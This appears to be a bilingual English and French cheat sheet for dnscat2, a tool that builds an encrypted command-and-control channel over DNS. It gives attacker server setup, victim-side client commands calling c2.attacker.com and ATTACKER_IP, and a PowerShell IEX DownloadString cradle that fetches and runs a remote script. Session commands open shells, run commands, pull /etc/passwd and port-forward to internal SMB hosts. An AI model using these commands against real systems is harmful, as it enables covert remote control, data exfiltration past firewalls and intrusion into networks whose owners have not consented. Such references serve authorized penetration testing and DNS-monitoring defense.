dnscat2

Outil de C2 et de tunneling basé sur DNS. Crée un canal de commande et contrôle chiffré via DNS : utile quand toute autre sortie est bloquée mais que le DNS résout encore. DNS-based C2 and tunneling tool. Creates an encrypted command-and-control channel over DNS — useful when all other egress is blocked but DNS resolves.

↗ https://github.com/iagox86/dnscat2

Overview

dnscat2 creates an encrypted C2 channel using DNS queries. When firewall rules block all outbound traffic except DNS, dnscat2 tunnels commands and data through DNS TXT/CNAME/MX records. It requires either a real domain with NS records pointing to the attacker, or direct UDP connections on port 53.

Server Setup

# Install on attacker machine
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
gem install bundler
bundle install

Start server with a domain (NS record mode — most reliable) Requires: NS record for c2.attacker.com pointing to attacker’s IP

ruby dnscat2.rb c2.attacker.com

Direct UDP mode (no domain required — less reliable, client needs direct DNS access)

ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT

With secret key (prevents unauthorized connections)

ruby dnscat2.rb c2.attacker.com --secret=mysecretkey

Client (Victim Side)

Linux client

dnscat --dns domain=c2.attacker.com

With secret

dnscat --dns domain=c2.attacker.com --secret=mysecretkey

Direct UDP mode (when you can reach the attacker’s DNS directly)

dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com
# PowerShell client (Windows — no binary needed)
# Invoke-PowerShellTcp from dnscat2/client/powershell/dnscat2.ps1
IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP

DNS Zone Setup (for NS record mode)

# Add to DNS zone for attacker.com:
# c2       IN  NS  ns1.attacker.com.
# ns1      IN  A   ATTACKER_IP

Test DNS delegation is working:

dig @8.8.8.8 test.c2.attacker.com

→ → Should show a response from dnscat2 server

Server-Side Commands

dnscat2> sessions           # List connected sessions
dnscat2> session -i 1       # Interact with session 1
dnscat2 (session 1)> shell  # Open a shell
dnscat2 (session 1)> exec whoami  # Execute command
dnscat2 (session 1)> download /etc/passwd /tmp/passwd  # Download file
dnscat2 (session 1)> upload /local/file /remote/path   # Upload file
dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445  # Port forward
dnscat2 (session 1)> ping  # Check connection
dnscat2 (session 1)> help  # Show available commands

Port Forwarding (Tunneling)

Forward local port 4444 to internal target 10.10.10.5:445 via DNS tunnel

dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445

Then connect to it locally

smbclient -L //127.0.0.1 -p 4444 -U user

Performance Notes

DNS tunneling is extremely slow — expect:

  • Shell latency: 1-30 seconds per command
  • Throughput: 1-10 KB/s
  • Only use for command execution and small file transfers

Tips

  • DNS tunneling works even in heavily restricted networks as long as recursive DNS resolves
  • The --secret option is critical — without it, anyone can connect to your server
  • dnscat2 traffic looks like many DNS queries to unusual subdomains — easily detected with DNS monitoring
  • For better performance when DNS isn’t the only option, prefer Chisel or ligolo-ng
Server commands reference
sessions                    List all sessions
session -i N                Interact with session N
listen [local_addr:]port target_host:port  Port forward
windows                     List windows (aliases for sessions)

In session:
  shell                     Open command shell
  exec CMD                  Execute single command
  download REMOTE LOCAL     Download file
  upload LOCAL REMOTE       Upload file
  ping                      Test connectivity
  suspend                   Background session
  quit                      End session (kills implant)
  help                      Help

Vue d’ensemble

dnscat2 crée un canal C2 chiffré en utilisant des requêtes DNS. Quand les règles de pare-feu bloquent tout le trafic sortant sauf le DNS, dnscat2 fait transiter les commandes et les données via des enregistrements DNS TXT/CNAME/MX. Il nécessite soit un vrai domaine avec des enregistrements NS pointant vers l’attaquant, soit des connexions UDP directes sur le port 53.

Mise en place du serveur

# Installer sur la machine attaquante
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
gem install bundler
bundle install

# Démarrer le serveur avec un domaine (mode enregistrement NS, le plus fiable)
# Nécessite : un enregistrement NS pour c2.attacker.com pointant vers l'IP de l'attaquant
ruby dnscat2.rb c2.attacker.com

# Mode UDP direct (aucun domaine requis, moins fiable, le client a besoin d'un accès DNS direct)
ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT

# Avec une clé secrète (empêche les connexions non autorisées)
ruby dnscat2.rb c2.attacker.com --secret=mysecretkey

Client (côté victime)

# Client Linux
dnscat --dns domain=c2.attacker.com

# Avec le secret
dnscat --dns domain=c2.attacker.com --secret=mysecretkey

# Mode UDP direct (quand vous pouvez atteindre directement le DNS de l'attaquant)
dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com
# Client PowerShell (Windows, aucun binaire nécessaire)
# Invoke-PowerShellTcp depuis dnscat2/client/powershell/dnscat2.ps1
IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP

Configuration de la zone DNS (pour le mode enregistrement NS)

# Ajouter à la zone DNS pour attacker.com :
# c2       IN  NS  ns1.attacker.com.
# ns1      IN  A   ATTACKER_IP

Tester que la délégation DNS fonctionne :

dig @8.8.8.8 test.c2.attacker.com

→ Devrait afficher une réponse provenant du serveur dnscat2

Commandes côté serveur

dnscat2> sessions           # Lister les sessions connectées
dnscat2> session -i 1       # Interagir avec la session 1
dnscat2 (session 1)> shell  # Ouvrir un shell
dnscat2 (session 1)> exec whoami  # Exécuter une commande
dnscat2 (session 1)> download /etc/passwd /tmp/passwd  # Télécharger un fichier
dnscat2 (session 1)> upload /local/file /remote/path   # Envoyer un fichier
dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445  # Redirection de port
dnscat2 (session 1)> ping  # Vérifier la connexion
dnscat2 (session 1)> help  # Afficher les commandes disponibles

Redirection de port (tunneling)

Rediriger le port local 4444 vers la cible interne 10.10.10.5:445 via le tunnel DNS

dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445

Puis s’y connecter localement

smbclient -L //127.0.0.1 -p 4444 -U user

Remarques sur les performances

Le tunneling DNS est extrêmement lent, attendez-vous à :

  • Une latence de shell de 1 à 30 secondes par commande
  • Un débit de 1 à 10 Ko/s
  • N’utiliser cela que pour l’exécution de commandes et de petits transferts de fichiers

Conseils

  • Le tunneling DNS fonctionne même dans des réseaux fortement restreints tant que la résolution DNS récursive fonctionne
  • L’option --secret est critique : sans elle, n’importe qui peut se connecter à votre serveur
  • Le trafic dnscat2 ressemble à de nombreuses requêtes DNS vers des sous-domaines inhabituels : facilement détectable avec une surveillance DNS
  • Pour de meilleures performances quand le DNS n’est pas la seule option, préférez Chisel ou ligolo-ng
Référence des commandes serveur
sessions                    List all sessions
session -i N                Interact with session N
listen [local_addr:]port target_host:port  Port forward
windows                     List windows (aliases for sessions)

In session:
  shell                     Open command shell
  exec CMD                  Execute single command
  download REMOTE LOCAL     Download file
  upload LOCAL REMOTE       Upload file
  ping                      Test connectivity
  suspend                   Background session
  quit                      End session (kills implant)
  help                      Help